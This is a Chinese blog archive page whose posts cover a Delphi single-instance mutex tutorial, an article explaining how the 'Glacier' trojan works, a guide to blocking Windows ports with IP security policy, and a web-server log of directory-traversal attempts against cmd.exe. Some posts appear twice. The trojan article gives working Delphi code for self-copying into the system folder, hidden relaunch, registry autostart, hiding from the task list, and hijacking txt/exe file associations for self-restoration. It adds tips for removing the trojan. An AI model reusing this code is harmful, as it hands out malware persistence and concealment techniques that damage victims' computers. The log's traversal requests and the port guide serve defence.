Delphi中如何防止运行一个应用程序的多个实例吴淑华
01-5-31 下午 01:56:54
实际应用中,程序设计人员有时希望某一时刻只运行应用程序的单个实例。或许是因为应用程序需要访问专用的特殊资源,如访问调制解调器或是CD-ROM驱动器,或许是因为应用程序需占用大量的系统资源,为保证其工作正常只能运行单一实例。
无论何种原因,如果在运行第二个实例时,简单地终止先前的实例,那么程序就会显得十分粗糙。为避免这个问题,一般要求在第二个实例终止前,把第一个实例的窗口送到栈顶。一种Win16的方法是简单地检测应用程序先前实例的句柄,如果其值不为NULL,就可以标识其他的实例。然而,在Win32中,这个值总为NULL。因此,只能选用其他方法。
这里提供的方法不依赖于应用程序具体的窗口标题也不依赖于登录窗口类。不但可以终止第二个实例,而且可以把第一个实例带到前台。下面本文结合具体实例,详细介绍一下实现步骤,并总结实现这些步骤的技术要点。
一、实现步骤
1.程序功能描述
该程序除主窗口MainForm外,还包括用户登录子窗口(密码检查窗口)LoginForm。程序启动后,首先需通过用户登录后才能进入应用程序主窗口。如果程序不包括用户登录子窗口,即程序启动后直接进入主窗口,实现步骤中需去掉步骤3和步骤5,会更简单一些。本实例之所以包括登录窗口,是考虑到实际应用中有时会遇到类似情况,如果了解了后者如何实现,当然也就掌握了前者的实现方法。
2.编辑TMainForm.FormCreate(Sender: TObject)
首先检查应用程序其他的实例是否启动。方法是创建一个mutex(Mutex很象临界区,除了在访问多进程时能同步数据外。)如果所命名的mutex已经存在,就说明应用程序的另一个实例在运行。通过将唯一的一个名字传送给CreateMutex可以命名mutex。在此以应用程序名作为第三个参数。代码如下:
procedure TMainForm.FormCreate(Sender: TObject);
var
mutexName: String;//互斥元名
hPrevWnd, hData: HWND; //hPrevWnd---窗口句柄, hData---GetProp返回的属性值
result: TModalResult;
LoginDlg: TLoginForm;
begin
mutexName := Application.ExeName; //以应用程序名作为互斥名
//创建互斥元.如果互斥元已经存在,这就是应用程序的第二个事例.
//注意:当应用程序结束时,互斥元自动关闭.
CreateMutex(Nil, TRUE, PChar(mutexName));
if (GetLastError() = ERROR_ALREADY_EXISTS) then
begin
...
end;
...
end;
3.编辑TLoginForm.FormCreate
由于该实例刚运行时要先调用登录子窗体LoginForm,只有通过了密码检查后才能启动应用程序主窗体MainForm。为了避免该程序的前一个实例刚运行到登录窗口时,就运行程序的第二个实例,采用标记登录窗口的方法,并在步骤4中对该标记进行判断。代码如下:
procedure TLoginForm.FormCreate(Sender: TObject);
begin
//进行窗口初始化
......
//设置窗口属性,以便在该应用程序系统启动时进行判断
SetProp(Handle, PChar(Application.ExeName), 2);
end;
4.寻找先前实例
当断定应用程序的另一个实例正在运行后,首先把先前的实例调到前台并给予焦点,并最大化显示该窗口。
在此,通过调用SDK的函数SetProp添加一个和窗口句柄组合成对的字符串/数据句柄来标记一个窗口。当检查出其他实例正在运行时,可通过搜索所有顶层窗口的标记,找到先前应用程序的主窗口。对每一个窗口来说,通过调用SDK的GetProp函数,可以找到先前实例的标记。如果窗口包含该标记,则找到了主窗口。窗口找到后,最大化并送到前台。具体代码如下:
procedure TMainForm.FormCreate(Sender: TObject);
var
mutexName: String;//互斥元名
hPrevWnd, hData: HWND; //hPrevWnd---窗口句柄, hData---GetProp返回的属性值
result :TModalResult;
LoginDlg :TLoginForm;
begin
mutexName := Application.ExeName; //以应用程序名作为互斥名
//创建互斥元.如果互斥元已经存在,这就是应用程序的第二个事例.
//注意:当应用程序结束时,互斥元自动关闭.
CreateMutex(Nil, TRUE, PChar(mutexName));
if (GetLastError() = ERROR_ALREADY_EXISTS) then
begin
//查找该应用程序的前一个主窗口句柄.
hPrevWnd := GetDesktopWindow();
hPrevWnd := GetWindow(hPrevWnd, GW_CHILD);
while (IsWindow(hPrevWnd)) do
begin
//判断此窗口属性标志是否与设置的主窗口或登录窗口标志相符.
hData := GetProp(hPrevWnd, PChar(mutexName));
if (hData = 1) or (hData = 2) then
begin
//判断是主窗口还是登录窗口,并将窗口获得焦点.
if hData = 1 then //主窗口
ShowWindow(hPrevWnd, SW_MAXIMIZE)
else //登录窗口
ShowWindow(hPrevWnd,SW_RESTORE);
SetForegroundWindow(hPrevWnd);
//如果此窗口有弹出窗口,设置焦点到弹出窗口.
SetForegroundWindow(GetLastActivePopup(hPrevWnd));
break;
end else
//没有找到窗口,转到窗口列表中下一个窗口.
hPrevWnd := GetWindow(hPrevWnd, GW_HWNDNEXT);
end;
Application.Terminate;
exit;
end;
5.删除登录窗口先前实例标识符
删除步骤3中创建的窗口标记。
procedure TLoginForm.FormDestroy(Sender: TObject);
begin
RemoveProp(Handle, PChar(Application.ExeName));
end;
6.删除主窗体先前实例表示符
删除步骤4中创建的窗口标记。
procedure TMainForm.FormDestroy(Sender: TObject);
begin
RemoveProp(Handle, PChar(Application.ExeName));
end;
二、技术要点
1.定位先前窗口,使用mutex比用FindWindow更安全,因为在实例完成创建主窗口之前,应用程序的第二个实例有可能启动。使用mutex可以防止此类情况发生。
2.要寻找应用程序先前实例主窗口,可用FindWindow寻找有标题的窗口。该方法需要知道主程序窗口的标题,但如果应用程序动态更新标题,则该方法不适用。也可用FindWindow来寻找具有具体注册窗口类的窗口。但该方法需要注册用户自己的窗口类,而且以后版本升级时,可能需要修改代码。而采用SDK的SetProp函数来“标记”窗口可以避免上述问题。
3.通过调用API函数GetDesktopWindow和GetWindow可以搜索所有的顶层窗口。再通过判断窗口标记找到先前实例窗口。
2005-11-24
2005-11-23
冰河”启示录
冰河”启示录
2005-07-22 文/
作者: 陈经韬 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域,我们理应宁可自制力让我们的预见力保持寂寞,也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3 (1) “冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发. 一、程序安装 此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看.http://lovejingtao.126.com 1:自我拷贝法 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TFORM1.FORMCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename < > GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]< > '\' then Result := Result + '\'; end; 另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法. 一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改dpr项目文件,修改begin和end之间的代码如下: begin Application.Initialize; if FindWindow('TFORM1','FORM1')=0 then begin //当没有找到FORM1时执行下面代码 Application.ShowMainFORM:=False; //不显示主窗口 Application.CreateFORM(TFORM1, FORM1); Application.Run; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用这种方法的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. 方法如下:修改dpr项目文件 uses FORMs,windows,messages, Unit1 in 'Unit1.pas' {FORM1}; 为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TFORM1.FORMCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename < > GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可. (2) “冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: uses Registry procedure TFORM1.FORMCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //写注册表,让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao,http://lovejingtao.126.com} WriteString( '', application.ExeName+' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //写注册表,每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount> 0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);" 改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll, 否则会因为关联Exe文件而退不出Windows. 启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了.
2005-07-22 文/
作者: 陈经韬 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域,我们理应宁可自制力让我们的预见力保持寂寞,也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3 (1) “冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发. 一、程序安装 此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看.http://lovejingtao.126.com 1:自我拷贝法 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TFORM1.FORMCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename < > GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]< > '\' then Result := Result + '\'; end; 另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法. 一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改dpr项目文件,修改begin和end之间的代码如下: begin Application.Initialize; if FindWindow('TFORM1','FORM1')=0 then begin //当没有找到FORM1时执行下面代码 Application.ShowMainFORM:=False; //不显示主窗口 Application.CreateFORM(TFORM1, FORM1); Application.Run; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用这种方法的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. 方法如下:修改dpr项目文件 uses FORMs,windows,messages, Unit1 in 'Unit1.pas' {FORM1}; 为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TFORM1.FORMCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename < > GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可. (2) “冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: uses Registry procedure TFORM1.FORMCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //写注册表,让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao,http://lovejingtao.126.com} WriteString( '', application.ExeName+' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //写注册表,每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount> 0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);" 改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll, 否则会因为关联Exe文件而退不出Windows. 启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了.
2005-11-12
安全
最直接的办法,把系统不用的端口都关闭掉,然后从新启动,如果瑞星还提示有漏洞攻击,你来找我。
注:关闭的端口有,135,137,138,139,445,1025,2475,3127,6129,3389,593,还有tcp.
具体操作如下:
默认情况下,Windows有很多端口是开放的,在你上网的时候,网络病毒和黑客可以通过这些端口连上你的电脑。为了让你的系统变为铜墙铁壁,应该封闭这些端口,主要有:TCP 135、139、445、593、1025 端口和 UDP 135、137、138、445 端口,一些流行病毒的后门端口(如 TCP 2745、3127、6129 端口),以及远程服务访问端口3389。下面介绍如何在WinXP/2000/2003下关闭这些网络端口:
第一步,点击"开始"菜单/设置/控制面板/管理工具,双击打开"本地安全策略",选中"IP 安全策略,在本地计算机",在右边窗格的空白位置右击鼠标,弹出快捷菜单,选择"创建 IP 安全策略"(如右图),于是弹出一个向导。在向导中点击"下一步"按钮,为新的安全策略命名;再按"下一步",则显示"安全通信请求"画面,在画面上把"激活默认相应规则"左边的钩去掉,点击"完成"按钮就创建了一个新的IP 安全策略。
第二步,右击该IP安全策略,在"属性"对话框中,把"使用添加向导"左边的钩去掉,然后单击"添加"按钮添加新的规则,随后弹出"新规则属性"对话框,在画面上点击"添加"按钮,弹出IP筛选器列表窗口;在列表中,首先把"使用添加向导"左边的钩去掉,然后再点击右边的"添加"按钮添加新的筛选器。
第三步,进入"筛选器属性"对话框,首先看到的是寻址,源地址选"任何 IP 地址",目标地址选"我的 IP 地址";点击"协议"选项卡,在"选择协议类型"的下拉列表中选择"TCP",然后在"到此端口"下的文本框中输入"135",点击"确定"按钮(如左图),这样就添加了一个屏蔽 TCP 135(RPC)端口的筛选器,它可以防止外界通过135端口连上你的电脑。
点击"确定"后回到筛选器列表的对话框,可以看到已经添加了一条策略,重复以上步骤继续添加 TCP 137、139、445、593 端口和 UDP 135、139、445 端口,为它们建立相应的筛选器。
重复以上步骤添加TCP 1025、2745、3127、6129、3389 端口的屏蔽策略,建立好上述端口的筛选器,最后点击"确定"按钮。
第四步,在"新规则属性"对话框中,选择"新 IP 筛选器列表",然后点击其左边的圆圈上加一个点,表示已经激活,最后点击"筛选器操作"选项卡。在"筛选器操作"选项卡中,把"使用添加向导"左边的钩去掉,点击"添加"按钮,添加"阻止"操作(右图):在"新筛选器操作属性"的"安全措施"选项卡中,选择"阻止",然后点击"确定"按钮。
第五步、进入"新规则属性"对话框,点击"新筛选器操作",其左边的圆圈会加了一个点,表示已经激活,点击"关闭"按钮,关闭对话框;最后回到"新IP安全策略属性"对话框,在"新的IP筛选器列表"左边打钩,按"确定"按钮关闭对话框。在"本地安全策略"窗口,用鼠标右击新添加的 IP 安全策略,然后选择"指派"。 然后重启机器,OK!!
--
时间这种东西,你要是不消磨它,它就要消磨你
http://www.ist.cn/
http://www.joyspaces.com
http://www.thinkle.com
注:关闭的端口有,135,137,138,139,445,1025,2475,3127,6129,3389,593,还有tcp.
具体操作如下:
默认情况下,Windows有很多端口是开放的,在你上网的时候,网络病毒和黑客可以通过这些端口连上你的电脑。为了让你的系统变为铜墙铁壁,应该封闭这些端口,主要有:TCP 135、139、445、593、1025 端口和 UDP 135、137、138、445 端口,一些流行病毒的后门端口(如 TCP 2745、3127、6129 端口),以及远程服务访问端口3389。下面介绍如何在WinXP/2000/2003下关闭这些网络端口:
第一步,点击"开始"菜单/设置/控制面板/管理工具,双击打开"本地安全策略",选中"IP 安全策略,在本地计算机",在右边窗格的空白位置右击鼠标,弹出快捷菜单,选择"创建 IP 安全策略"(如右图),于是弹出一个向导。在向导中点击"下一步"按钮,为新的安全策略命名;再按"下一步",则显示"安全通信请求"画面,在画面上把"激活默认相应规则"左边的钩去掉,点击"完成"按钮就创建了一个新的IP 安全策略。
第二步,右击该IP安全策略,在"属性"对话框中,把"使用添加向导"左边的钩去掉,然后单击"添加"按钮添加新的规则,随后弹出"新规则属性"对话框,在画面上点击"添加"按钮,弹出IP筛选器列表窗口;在列表中,首先把"使用添加向导"左边的钩去掉,然后再点击右边的"添加"按钮添加新的筛选器。
第三步,进入"筛选器属性"对话框,首先看到的是寻址,源地址选"任何 IP 地址",目标地址选"我的 IP 地址";点击"协议"选项卡,在"选择协议类型"的下拉列表中选择"TCP",然后在"到此端口"下的文本框中输入"135",点击"确定"按钮(如左图),这样就添加了一个屏蔽 TCP 135(RPC)端口的筛选器,它可以防止外界通过135端口连上你的电脑。
点击"确定"后回到筛选器列表的对话框,可以看到已经添加了一条策略,重复以上步骤继续添加 TCP 137、139、445、593 端口和 UDP 135、139、445 端口,为它们建立相应的筛选器。
重复以上步骤添加TCP 1025、2745、3127、6129、3389 端口的屏蔽策略,建立好上述端口的筛选器,最后点击"确定"按钮。
第四步,在"新规则属性"对话框中,选择"新 IP 筛选器列表",然后点击其左边的圆圈上加一个点,表示已经激活,最后点击"筛选器操作"选项卡。在"筛选器操作"选项卡中,把"使用添加向导"左边的钩去掉,点击"添加"按钮,添加"阻止"操作(右图):在"新筛选器操作属性"的"安全措施"选项卡中,选择"阻止",然后点击"确定"按钮。
第五步、进入"新规则属性"对话框,点击"新筛选器操作",其左边的圆圈会加了一个点,表示已经激活,点击"关闭"按钮,关闭对话框;最后回到"新IP安全策略属性"对话框,在"新的IP筛选器列表"左边打钩,按"确定"按钮关闭对话框。在"本地安全策略"窗口,用鼠标右击新添加的 IP 安全策略,然后选择"指派"。 然后重启机器,OK!!
--
时间这种东西,你要是不消磨它,它就要消磨你
http://www.ist.cn/
http://www.joyspaces.com
http://www.thinkle.com
2005-11-03
发现服务器有被攻击的记录,好在系统没什么漏洞
发现服务器有被攻击的记录,好在系统没什么漏洞
2005-11-04 05:59:39 211.151.230.126 GET / - 80 - 221.214.126.122 - 403 14 64
2005-11-04 05:59:39 211.151.230.126 GET /scripts/..?../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:40 211.151.230.126 GET /scripts/..翢../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:40 211.151.230.126 GET /scripts/..?../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:42 211.151.230.126 GET /scripts/..蜡../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:42 211.151.230.126 GET /scripts/..罒../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:43 211.151.230.126 GET /scripts/..翜../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:43 211.151.230.126 GET /scripts/..怜../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:44 211.151.230.126 GET /scripts/..鄝?./winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:44 211.151.230.126 GET /scripts/..饊€?./winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:46 211.151.230.126 GET /scripts/..鴢€€?./winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:46 211.151.230.126 GET /scripts/..鼆€€€?./winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:39 211.151.230.126 GET /scripts/..?../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:40 211.151.230.126 GET /scripts/..翢../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:40 211.151.230.126 GET /scripts/..?../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:42 211.151.230.126 GET /scripts/..蜡../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:42 211.151.230.126 GET /scripts/..罒../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:43 211.151.230.126 GET /scripts/..翜../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:43 211.151.230.126 GET /scripts/..怜../winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:44 211.151.230.126 GET /scripts/..鄝?./winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:44 211.151.230.126 GET /scripts/..饊€?./winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:46 211.151.230.126 GET /scripts/..鴢€€?./winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
2005-11-04 05:59:46 211.151.230.126 GET /scripts/..鼆€€€?./winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
订阅:
博文 (Atom)